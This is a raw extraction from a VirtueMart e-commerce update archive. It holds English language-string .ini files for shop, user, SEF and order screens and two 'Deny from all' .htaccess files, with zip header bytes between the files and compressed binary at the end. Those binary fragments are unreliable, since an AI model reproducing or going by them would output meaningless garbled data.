COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_WEIGHT="Product Weight" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_WEIGHT_UOM="Product Weight UOM" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_WIDTH="Product Width" COM_VIRTUEMART_SEARCH_ORDER_VIRTUEMART_PRODUCT_ID="Product ID" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="All Manufacturers" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Select manufacturer" COM_VIRTUEMART_SET_PRODUCT_TYPE="Choose product type" COM_VIRTUEMART_SHIPMENT_NOT_VALID_FOR_THIS_VENDOR="%s not valid for %d
          " COM_VIRTUEMART_SHOPPER_PAYMENT_FORM_LBL="Payment form" COM_VIRTUEMART_SHOPPER_REGISTRATION_DATA="Your Registration data" COM_VIRTUEMART_SHOPPER_SHIPMENT_FORM_LBL="Shipment form" COM_VIRTUEMART_SHOP_HOME="Shop home" COM_VIRTUEMART_SLUG="Sef Alias" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="We are getting low on stock for this item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="We have plenty of stock for this product" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="Sorry, we currently have no stock for this item" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_TITLE_TIP="Current Stock Level" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Currency" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="List of accepted currencies" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Shop Company Name" COM_VIRTUEMART_STORE_FORM_CURRENCY="Currency" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Description" COM_VIRTUEMART_STORE_FORM_LEGAL="Legal Information" COM_VIRTUEMART_STORE_FORM_MPOV="Minimum purchase order value for your shop" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Shop Name" COM_VIRTUEMART_STORE_FORM_TOS="Terms of Service" COM_VIRTUEMART_STRING_CANCELLED="%s record cancelled." COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s could not be deleted." COM_VIRTUEMART_STRING_DELETED="%s successfully deleted." COM_VIRTUEMART_STRING_DELETED_ERROR="Error: The %s could not be deleted." COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="The given %s already exists." COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s in record is missing ! Can't save the record with no %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="Error with the primary key" COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%s function forbidden for non vendors" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="Error: The %s could not be published." COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="%s successfully published." COM_VIRTUEMART_STRING_SAVED="%s successfully saved" COM_VIRTUEMART_STRING_SAVED_ERROR="Error: %s could not be saved " COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s successfully saved" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Error: The %s state could not be updated." COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s state successfully updated." COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="Error: The %s could not be unpublished." COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s successfully unpublished." COM_VIRTUEMART_SUBCATEGORIES="Subcategories" COM_VIRTUEMART_TITLE_TOO_LONG="Title too long %s for database field, allowed 126" COM_VIRTUEMART_TOPTEN_PRODUCT="Top ten Products" COM_VIRTUEMART_TOTAL_VOTES="Total votes" COM_VIRTUEMART_UNIT_NAME_100MG="100 milligrams" COM_VIRTUEMART_UNIT_NAME_100ML="100 milliliters" COM_VIRTUEMART_UNIT_NAME_CM="Centimetres" COM_VIRTUEMART_UNIT_NAME_CUBM="Cubic meters" COM_VIRTUEMART_UNIT_NAME_FOOT="Foot" COM_VIRTUEMART_UNIT_NAME_G="Gramme" COM_VIRTUEMART_UNIT_NAME_INCH="Inches" COM_VIRTUEMART_UNIT_NAME_KG="Kilogramme" COM_VIRTUEMART_UNIT_NAME_L="Liter" COM_VIRTUEMART_UNIT_NAME_LB="Pounds" COM_VIRTUEMART_UNIT_NAME_M="Metres" COM_VIRTUEMART_UNIT_NAME_MG="Milligramme" COM_VIRTUEMART_UNIT_NAME_MM="Millimetres" COM_VIRTUEMART_UNIT_NAME_ONCE="Ounce" COM_VIRTUEMART_UNIT_NAME_SM="Square meters" COM_VIRTUEMART_UNIT_NAME_YARD="Yards" COM_VIRTUEMART_UNIT_SYMBOL_100G="100 g" COM_VIRTUEMART_UNIT_SYMBOL_100ML="100 ml" COM_VIRTUEMART_UNIT_SYMBOL_CM="cm" COM_VIRTUEMART_UNIT_SYMBOL_CUBM="m³" COM_VIRTUEMART_UNIT_SYMBOL_FOOT="ft" COM_VIRTUEMART_UNIT_SYMBOL_G="g" COM_VIRTUEMART_UNIT_SYMBOL_INCH="in" COM_VIRTUEMART_UNIT_SYMBOL_KG="kg" COM_VIRTUEMART_UNIT_SYMBOL_L="l" COM_VIRTUEMART_UNIT_SYMBOL_LB="lb" COM_VIRTUEMART_UNIT_SYMBOL_M="m" COM_VIRTUEMART_UNIT_SYMBOL_MG="mg" COM_VIRTUEMART_UNIT_SYMBOL_MM="mm" COM_VIRTUEMART_UNIT_SYMBOL_OUNCE="oz" COM_VIRTUEMART_UNIT_SYMBOL_SM="m²" COM_VIRTUEMART_UNIT_SYMBOL_YARD="yd" COM_VIRTUEMART_UNPUBLISHED="Unpublished" COM_VIRTUEMART_UNPUBLISH_ITEM="Unpublish Item" COM_VIRTUEMART_UNRATED="Not Rated Yet" COM_VIRTUEMART_UPDATE="Update" COM_VIRTUEMART_URL="URL" COM_VIRTUEMART_URL_NOT_VALID="Url is not valid" COM_VIRTUEMART_URL_TOO_LONG="Url too long %s for database field, allowed 254" COM_VIRTUEMART_USERNAME="Username" COM_VIRTUEMART_USER_CART_INFO_CREATE_ACCOUNT="Fill in those fields to create an account" COM_VIRTUEMART_USER_DATA_STORED="User data stored" COM_VIRTUEMART_USER_DELETE_ST="Delete address" COM_VIRTUEMART_USER_DISPLAYED_NAME="Displayed Name" COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL="Address Nickname" COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL="Add/Edit shipment address" ;the next one is special, we need it also in the cart, therefore atm in main file COM_VIRTUEMART_USER_FORM_BILLTO_LBL="Bill To" COM_VIRTUEMART_USER_FORM_BILLTO_TOS_NO="Please agree to the Terms of Service" COM_VIRTUEMART_USER_FORM_BILLTO_TOS_YES="You agreed to the Terms of Service" COM_VIRTUEMART_USER_FORM_CART_STEP1="Checkout Step 1" COM_VIRTUEMART_USER_FORM_CART_STEP2="Checkout Step 2" COM_VIRTUEMART_USER_FORM_CART_STEP3="Checkout Step 3" COM_VIRTUEMART_USER_FORM_CART_STEP4="Checkout Step 4" COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_EXPLAIN="Only in case shipment address is different from billing address,
          click »%s« button below" COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_LBL="Add/Edit billing address information" COM_VIRTUEMART_USER_FORM_EMAIL="E-Mail" COM_VIRTUEMART_USER_FORM_MISSING_REQUIRED_JS="Required field is missing" COM_VIRTUEMART_USER_FORM_NAME="Name" COM_VIRTUEMART_USER_FORM_NEWPASSWORD="New Password" COM_VIRTUEMART_USER_FORM_RECEIVESYSTEMEMAILS="Receive System Emails" COM_VIRTUEMART_USER_FORM_REGISTERDATE="Register date" COM_VIRTUEMART_USER_FORM_SHIPTO_LBL="Ship To" COM_VIRTUEMART_USER_FORM_ST_SAME_AS_BT="Use for the shipto same as billto address" COM_VIRTUEMART_USER_FORM_VERIFYPASSWORD="Verify Password" COM_VIRTUEMART_USER_NOSHIPPINGADDR="No shipment addresses." COM_VIRTUEMART_USER_NOT_A_VENDOR="You are not a vendor" COM_VIRTUEMART_USER_STORE_ERROR="Could not store user %s" COM_VIRTUEMART_VENDOR="Vendor" COM_VIRTUEMART_VENDOR_ASK_QUESTION="You may use this form to contact the shop owner directly from here" COM_VIRTUEMART_VENDOR_CONTACT="Contact" COM_VIRTUEMART_VENDOR_DATA_STORED="Vendor data stored" COM_VIRTUEMART_VENDOR_DETAILS="About" COM_VIRTUEMART_VENDOR_FORM_INFO_LBL="Vendor Information" COM_VIRTUEMART_VENDOR_FORM_MEDIA="Image & Thumb" COM_VIRTUEMART_VENDOR_ID="Vendor ID" COM_VIRTUEMART_VENDOR_LIST="Vendors" COM_VIRTUEMART_VENDOR_MOD="Vendor" COM_VIRTUEMART_VENDOR_NAME="Vendor name" COM_VIRTUEMART_VENDOR_NEW_SHOPPER_SUBJECT="A new shopper %s registered at your shop %s" COM_VIRTUEMART_VENDOR_REGISTRATION_DATA="The new shopper registration data" COM_VIRTUEMART_VENDOR_TOS="Terms of Services " COM_VIRTUEMART_VIRTUEMART_PRODUCT_ID="Product id" COM_VIRTUEMART_WELCOME_USER="Welcome %s" COM_VIRTUEMART_WELCOME_VENDOR="Hi vendor %s" COM_VIRTUEMART_WRITABLE="Writeable" COM_VIRTUEMART_WRITE_FIRST_REVIEW="Be the first to write a review..." COM_VIRTUEMART_WRITE_REVIEW="Submit Review" COM_VIRTUEMART_WRONG_AMOUNT_ADDED="You can buy this product only in multiples of %s pieces!" COM_VIRTUEMART_YES="Yes" COM_VIRTUEMART_YOUR_ACCOUNT_DETAILS="Your account details" COM_VIRTUEMART_YOUR_ACCOUNT_REG="Register" COM_VIRTUEMART_YOUR_ADDRESS="Your entered address: " COM_VIRTUEMART_YOUR_DISPLAYED_NAME="your displayed name: " COM_VIRTUEMART_YOUR_LOGINAME="Your Login Name: " COM_VIRTUEMART_YOUR_ORDERS="Your Orders" COM_VIRTUEMART_YOUR_PASSWORD="your password: " ;COM_VIRTUEMART_CART_TOS_LINK_TEXT="Show me the terms of service"PKtl>\||Acom_virtuemart_update/language/en-GB/en-GB.com_virtuemart.sys.ininuW+A; VirtueMart Project" ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved." ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php" ; Note : All ini files need to be saved as UTF-8 - No BOM" ; System COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_DESCRIPTION="Welcome to VirtueMart!
          The complete Online Shopsystem for Joomla 1.5+" COM_VIRTUEMART_INSTALLATION_FINISH="Basic Installation has been finished." COM_VIRTUEMART_INSTALLATION_STEP_ONE="The first step of the Installation was SUCCESSFUL" COM_VIRTUEMART_INSTALL_DONATION="Please consider a small donation to help us keep up the work on this component." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Go to VirtueMart for further Help" COM_VIRTUEMART_INSTALL_GO_SHOP="Go to the Shop" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Install Sample Data" COM_VIRTUEMART_MENU="VirtueMart" COM_VIRTUEMART_UNINSTALL_NOTE="Uninstall Note:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Uninstalling VirtueMart does not remove the VirtueMart tables from your database. This is done intentionally to allow for upgrading your current data to new versions of VirtueMart.
          To remove the VirtueMart tables, remove all tables with the _virtuemart_ prefix." COM_VIRTUEMART_UNINSTALL_THANKYOU="Thank you for using VirtueMart!" VIRTUEMART="VirtueMart" ; components/com_virtuemart/views/cart/tmpl/default.xml COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Displays the Shopping Cart" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Shopping Cart" ; components/com_virtuemart/views/cart/tmpl/minicart.xml COM_VIRTUEMART_MINICART_DESC="Displays VirtueMart minicart" COM_VIRTUEMART_MINICART_MENU="VirtueMart mini cart" ; components/com_virtuemart/views/categories/tmpl/default.xml COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="To set the parent category" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Categories Layout" ; components/com_virtuemart/views/category/tmpl/default.xml COM_VIRTUEMART_CATEGORY_FIELD_SELECT="Select a category" COM_VIRTUEMART_CATEGORY_FIELD_SELECT_DESC="Creates a link to display the selected Category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Displays a single VirtueMart category" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Category Layout" ; components/com_virtuemart/views/manufacturer/tmpl/details.xml COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT="Select a Manufacturer" COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_DESC="Creates a link to display the selected Manufacturer" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Displays VirtueMart manufacturers List" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Manufacturer Default Layout" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Displays a single VirtueMart manufacturer" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Manufacturer Details Layout" ; components/com_virtuemart/views/orders/tmpl/details.xml COM_VIRTUEMART_ORDERS_LIST="List Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="List All Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="List Orders" ; components/com_virtuemart/views/productdetails/tmpl/default.xml COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Select a Product" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Creates a link to this display the selected Product" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Product" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="To set the product view" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Displays a single product" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Product Details Layout" ; components/com_virtuemart/views/user/tmpl/edit.xml COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Displays the VirtueMart Customer Account Maintenance" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Account Maintenance" ; components/com_virtuemart/views/virtuemart/tmpl/default.xml COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Front page" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Displays the VirtueMart front page" ; components/com_virtuemart/views/recommend/tmpl/edit.xml ;COM_VIRTUEMART_RECCOMEND_MENU="VirtueMart Account Maintenance" ;COM_VIRTUEMART_RECOMMEND_MENU_DESC="Displays the VirtueMart Customer Account Maintenance"PKtl>\Z''Fcom_virtuemart_update/language/en-GB/en-GB.com_virtuemart_shoppers.ininuW+A; Virtuemart! Project ; for translation of the shopperfields ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_BUTTON_SEND_REG="Send Registration" COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL="Shopper Information" ;for vm2.1 email is used more than once COM_VIRTUEMART_MISSING_VALUE_FOR_FIELD="Missing value for %s" COM_VIRTUEMART_REGISTER_EMAIL="E-Mail" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1="Address 1" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2="Address 2" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_INFO_LBL="Information" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_LABEL="Address Nickname" COM_VIRTUEMART_SHOPPER_FORM_BIRTHDAY="Date of birth" COM_VIRTUEMART_SHOPPER_FORM_CITY="City" COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME="Company Name" COM_VIRTUEMART_SHOPPER_FORM_COUNTRY="Country" COM_VIRTUEMART_SHOPPER_FORM_EMAIL="Email" COM_VIRTUEMART_SHOPPER_FORM_EU_VATID="VAT Number(European Union Countries only)" COM_VIRTUEMART_SHOPPER_FORM_FAX="Fax" COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME="First Name" COM_VIRTUEMART_SHOPPER_FORM_GROUP="Shopper Group" COM_VIRTUEMART_SHOPPER_FORM_GROUP_PRICE_TIP="Select a shopper group, if this price is specific to a shopper group. If no shopper group is selected, the price is the same for all shopper groups." COM_VIRTUEMART_SHOPPER_FORM_GROUP_PRODUCT_TIP="If one or more shopper group(s) is/are selected, the product will be displayed only to those shopper groups. If no shopper group is selected, the product is displayed to all shopper group." COM_VIRTUEMART_SHOPPER_FORM_HOUSE_EXTENSION="Building Name" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_NO="House Number" COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME="Last Name" COM_VIRTUEMART_SHOPPER_FORM_LBL="Additional Information" COM_VIRTUEMART_SHOPPER_FORM_LBL="Shopper Information" COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME="Middle Name" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1="Password" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2="Confirm Password" COM_VIRTUEMART_SHOPPER_FORM_PHONE2="Mobile phone" COM_VIRTUEMART_SHOPPER_FORM_PHONE="Phone" COM_VIRTUEMART_SHOPPER_FORM_SHIPTO_LBL="Shipment Information" COM_VIRTUEMART_SHOPPER_FORM_SOCIALNUMBER="Social Security Number" COM_VIRTUEMART_SHOPPER_FORM_STATE="State / Province / Region" COM_VIRTUEMART_SHOPPER_FORM_TAXEXEMPTION_NBR="Tax Exemption Number" COM_VIRTUEMART_SHOPPER_FORM_TAX_USAGE="Tax Usage Type" COM_VIRTUEMART_SHOPPER_FORM_TITLE="Title" COM_VIRTUEMART_SHOPPER_FORM_USERNAME="User Name" COM_VIRTUEMART_SHOPPER_FORM_ZIP="Zip / Postal Code" COM_VIRTUEMART_SHOPPER_TITLE_MISS="Miss" COM_VIRTUEMART_SHOPPER_TITLE_MR="Mr" COM_VIRTUEMART_SHOPPER_TITLE_MRS="Mrs" COM_VIRTUEMART_USERFIELDS_FORM_LBL="Additional Informations" COM_VIRTUEMART_USER_FORM_ADDRESS_LABEL="Address Nickname" COM_VIRTUEMART_USER_FORM_BLOCKUSER="Block User" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_NAME="Name" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_POSITION="Position" COM_VIRTUEMART_USER_FORM_CONTACTDETAILS_TELEPHONE="Telephone" COM_VIRTUEMART_USER_FORM_CUSTOMER_NUMBER="Shopper Number / ID" COM_VIRTUEMART_USER_FORM_LASTVISITDATE="Last Visit Date" COM_VIRTUEMART_USER_FORM_LASTVISIT_NEVER="Never" COM_VIRTUEMART_USER_FORM_LEGEND_CONTACTINFO="Contact Information" COM_VIRTUEMART_USER_FORM_LEGEND_PARAMETERS="Parameters" COM_VIRTUEMART_USER_FORM_LEGEND_PARAMETERS="Parameters" COM_VIRTUEMART_USER_FORM_LEGEND_USERDETAILS="User Details" COM_VIRTUEMART_USER_FORM_LEGEND_USERDETAILS="User Details" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_1="No Contact details linked to this User" COM_VIRTUEMART_USER_FORM_NOCONTACTDETAILS_2="See Components -> Contact -> Manage Contacts for details." COM_VIRTUEMART_USER_FORM_PERMS="User Permissions" COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO="General User Information" COM_VIRTUEMART_USER_GROUP="User Group"PKtl>\аN݀ Acom_virtuemart_update/language/en-GB/en-GB.com_virtuemart.sef.ininuW+A; This file is for SEF router Auto Translating only ; Always use the same formating TO prevent false route : ; No Numbers as first character ; No Uppercase First character !!!! ; Valid chars are A-Z a-z 0-9 and _ (underscore) ; don't use same name as your own categories and product in all language ; No foreign Language strings(chinese , arabic...) ; then you have a nice SEF translator ! COM_VIRTUEMART_SEF_ASKQUESTION="ask_a_question" COM_VIRTUEMART_SEF_BY="by" COM_VIRTUEMART_SEF_CART="cart" COM_VIRTUEMART_SEF_CATEGORY_DESCRIPTION="category_description" COM_VIRTUEMART_SEF_CATEGORY_NAME="category_name" COM_VIRTUEMART_SEF_CHECKOUT="check" COM_VIRTUEMART_SEF_CONFIRM="confirm" COM_VIRTUEMART_SEF_CONTACT="contact" COM_VIRTUEMART_SEF_CREATED_ON="creation_date" COM_VIRTUEMART_SEF_DETAILS="details" COM_VIRTUEMART_SEF_EDITADDRESSCARTBT="bill_address" COM_VIRTUEMART_SEF_EDITADDRESSCARTST="shipping_address" COM_VIRTUEMART_SEF_EDITPAYMENT="edit_payment" COM_VIRTUEMART_SEF_EDIT_SHIPMENT="edit_shipment" COM_VIRTUEMART_SEF_INTNOTES="intnotes" COM_VIRTUEMART_SEF_LIST="list" COM_VIRTUEMART_SEF_LOW_STOCK_NOTIFICATION="low_stock_notification" COM_VIRTUEMART_SEF_MANUFACTURER="manufacturer" COM_VIRTUEMART_SEF_MANUFACTURERS="manufacturers" COM_VIRTUEMART_SEF_MDATE="modified_date" COM_VIRTUEMART_SEF_METAAUTHOR="meta_author" COM_VIRTUEMART_SEF_METADESC="meta_description" COM_VIRTUEMART_SEF_METAKEY="meta_key" COM_VIRTUEMART_SEF_METAROBOT="meta_robot" COM_VIRTUEMART_SEF_MF_NAME="manufacturer_name" COM_VIRTUEMART_SEF_ORDERDESC="order_desc" COM_VIRTUEMART_SEF_ORDERING="ordering" COM_VIRTUEMART_SEF_ORDERS="orders" COM_VIRTUEMART_SEF_PAGE="page" COM_VIRTUEMART_SEF_PRODUCT_AVAILABILITY="availability" COM_VIRTUEMART_SEF_PRODUCT_AVAILABLE_DATE="available_date" COM_VIRTUEMART_SEF_PRODUCT_DESC="description" COM_VIRTUEMART_SEF_PRODUCT_HEIGHT="height" COM_VIRTUEMART_SEF_PRODUCT_ID="id" COM_VIRTUEMART_SEF_PRODUCT_IN_STOCK="stock_level" COM_VIRTUEMART_SEF_PRODUCT_LENGTH="lenght" COM_VIRTUEMART_SEF_PRODUCT_LWH_UOM="lwh_unit" COM_VIRTUEMART_SEF_PRODUCT_NAME="name" COM_VIRTUEMART_SEF_PRODUCT_ORDER_LEVELS="order_levels" COM_VIRTUEMART_SEF_PRODUCT_PACKAGING="packaging" COM_VIRTUEMART_SEF_PRODUCT_PRICE="price" COM_VIRTUEMART_SEF_PRODUCT_SALES="sales" COM_VIRTUEMART_SEF_PRODUCT_SKU="sku" COM_VIRTUEMART_SEF_PRODUCT_SPECIAL="product_special" COM_VIRTUEMART_SEF_PRODUCT_S_DESC="short_desc" COM_VIRTUEMART_SEF_PRODUCT_UNIT="unit" COM_VIRTUEMART_SEF_PRODUCT_WEIGHT="weight" COM_VIRTUEMART_SEF_PRODUCT_WEIGHT_UOM="weight_unit" COM_VIRTUEMART_SEF_PRODUCT_WIDTH="width" COM_VIRTUEMART_SEF_SEARCH="search" COM_VIRTUEMART_SEF_TOS="tos" COM_VIRTUEMART_SEF_USER="user" COM_VIRTUEMART_SEF_VENDOR="vendor" PKtl>\7.Dcom_virtuemart_update/language/en-GB/en-GB.com_virtuemart_orders.ininuW+A; Virtuemart! Project ; for translation in the orders ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; This file will be cleared for vm2.1 version, this needs changes in the layout, so we do not change it now COM_VIRTUEMART_ACC_ORDER_INFO="Order Information" COM_VIRTUEMART_DELIVERY_DATE="Delivery Date" COM_VIRTUEMART_DELDATE_INV="Same as invoice date" COM_VIRTUEMART_INVOICE="Invoice" COM_VIRTUEMART_INVOICE_CREATOR="Invoice by VirtueMart 2" COM_VIRTUEMART_INVOICE_DATE="Invoice date" COM_VIRTUEMART_INVOICE_SUBJ="Invoice Nr. %2$s (Order %3$s), %1$s" COM_VIRTUEMART_INVOICE_TITLE="Invoice Nr. %2$s (Order %3$s), %1$s" COM_VIRTUEMART_ORDER_CDATE="Order Date" COM_VIRTUEMART_ORDER_HISTORY="Order History" COM_VIRTUEMART_ORDER_HISTORY_COMMENT="Comment" COM_VIRTUEMART_ORDER_HISTORY_COMMENT_EMAIL="Comments on your Order : " COM_VIRTUEMART_ORDER_HISTORY_CUSTOMER_NOTIFIED="Shopper Notified?" COM_VIRTUEMART_ORDER_HISTORY_DATE_ADDED="Date Added" COM_VIRTUEMART_ORDER_HISTORY_INCLUDE_COMMENT="Include this Comment?" COM_VIRTUEMART_ORDER_ID="Order id" COM_VIRTUEMART_ORDER_INFO="Your Order Informations" COM_VIRTUEMART_ORDER_ITEM="Order Items" COM_VIRTUEMART_ORDER_LIST_CDATE="Order Date" COM_VIRTUEMART_ORDER_LIST_LBL="Order List" COM_VIRTUEMART_ORDER_LIST_MDATE="Last Modified" COM_VIRTUEMART_ORDER_LIST_ORDER_NUMBER="Order Number" COM_VIRTUEMART_ORDER_LIST_STATUS="Order Status" COM_VIRTUEMART_ORDER_LIST_TOTAL="Total" COM_VIRTUEMART_ORDER_NUMBER="Order Number" COM_VIRTUEMART_ORDER_PASS="Secret key (P_xxxxx)" COM_VIRTUEMART_ORDER_PRINT_BILL_TO_LBL="Bill To" COM_VIRTUEMART_ORDER_PRINT_CUSTOMER_NOTE="Shopper's note" COM_VIRTUEMART_ORDER_PRINT_CUST_INFO_LBL="Shopper Information" COM_VIRTUEMART_ORDER_PRINT_INV_NUMBER="Invoice Number" COM_VIRTUEMART_ORDER_PRINT_ITEM_STATUS="Status of ordered products" COM_VIRTUEMART_ORDER_PRINT_NAME="Name" COM_VIRTUEMART_ORDER_PRINT_PAYMENT="Payment Fee" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_LBL="Payment Method" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_SHIPMENT="Payment & Shipment" COM_VIRTUEMART_ORDER_PRINT_PAYMENT_TAX="Payment Tax" COM_VIRTUEMART_ORDER_PRINT_PO_DATE="Order Date" COM_VIRTUEMART_ORDER_PRINT_PO_IPADDRESS="IP Address" COM_VIRTUEMART_ORDER_PRINT_PO_LBL="Purchase Order" COM_VIRTUEMART_ORDER_PRINT_PO_NUMBER="Order Number" COM_VIRTUEMART_ORDER_PRINT_PO_PASS="Secret Key" COM_VIRTUEMART_ORDER_PRINT_PO_STATUS="Order Status" COM_VIRTUEMART_ORDER_PRINT_PRICE="Price" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_STATUS="Product status" COM_VIRTUEMART_ORDER_PRINT_PRODUCT_TAX="Tax" COM_VIRTUEMART_ORDER_PRINT_QTY="Qty" COM_VIRTUEMART_ORDER_PRINT_QUANTITY="Quantity" COM_VIRTUEMART_ORDER_PRINT_SHIPMENT_LBL="Shipment" COM_VIRTUEMART_ORDER_PRINT_SHIPPING="Shipment Fee" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_LBL="Shipment Information" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_MODE_LBL="Shipment Mode" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_PRICE_LBL="Shipment Price" COM_VIRTUEMART_ORDER_PRINT_SHIPPING_TAX="Shipment Tax" COM_VIRTUEMART_ORDER_PRINT_SHIP_TO_LBL="Ship To" COM_VIRTUEMART_ORDER_PRINT_SKU="SKU" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL="SubTotal" COM_VIRTUEMART_ORDER_PRINT_SUBTOTAL_DISCOUNT_AMOUNT="Discount" COM_VIRTUEMART_ORDER_PRINT_TAX="Tax" COM_VIRTUEMART_ORDER_PRINT_TOTAL="Total" COM_VIRTUEMART_ORDER_PRINT_TOTAL_PAYMENT="Total in Payment Currency" COM_VIRTUEMART_ORDER_PRINT_TOTAL_TAX="Tax Total" COM_VIRTUEMART_ORDER_STATUS_CANCELLED="Cancelled" COM_VIRTUEMART_ORDER_STATUS_CONFIRMED="Confirmed" COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER="Confirmed by shopper" COM_VIRTUEMART_ORDER_STATUS_NAME="Order Status Name" COM_VIRTUEMART_ORDER_STATUS_PENDING="Pending" COM_VIRTUEMART_ORDER_STATUS_REFUNDED="Refunded" COM_VIRTUEMART_ORDER_STATUS_SHIPPED="Shipped" COM_VIRTUEMART_ORDER_STATUS_STOCK_AVAILABLE="Is available" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE="Stock handling" COM_VIRTUEMART_ORDER_STATUS_STOCK_HANDLE_TIP="Choose the movement of stock to make when changing order status.
          Reserved Stocks are deducted from the Stock to sale, but are in Stock" COM_VIRTUEMART_ORDER_STATUS_STOCK_OUT="is removed" COM_VIRTUEMART_ORDER_STATUS_STOCK_RESERVED="Is reserved" COM_VIRTUEMART_ORDER_UPDATED_SUCCESSFULLY="%1$s order(s) have been updated" COM_VIRTUEMART_ORDER_UPDATE_LINESTATUS="Update status for all lines?" COM_VIRTUEMART_ORDER_UPDATE_STATUS="Update Status" COM_VIRTUEMART_ORDER_USER_CURRENCY_RATE="Currency rate" COM_VIRTUEMART_ORDER_VIEW_ORDER="View your order" PKtl>\).com_virtuemart_update/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PKtl>\)(com_virtuemart_update/language/.htaccessnuW+A Order allow,deny Deny from all PKtl>\>(com_virtuemart.update.zipnuW+APK|gD README-VIRTUEMART.txt]K ݗP*71(8`dLO7v9{%Є!!bBwPp1I-E}It`SEu:|zSrh/hbgwxߤY6 !M3= 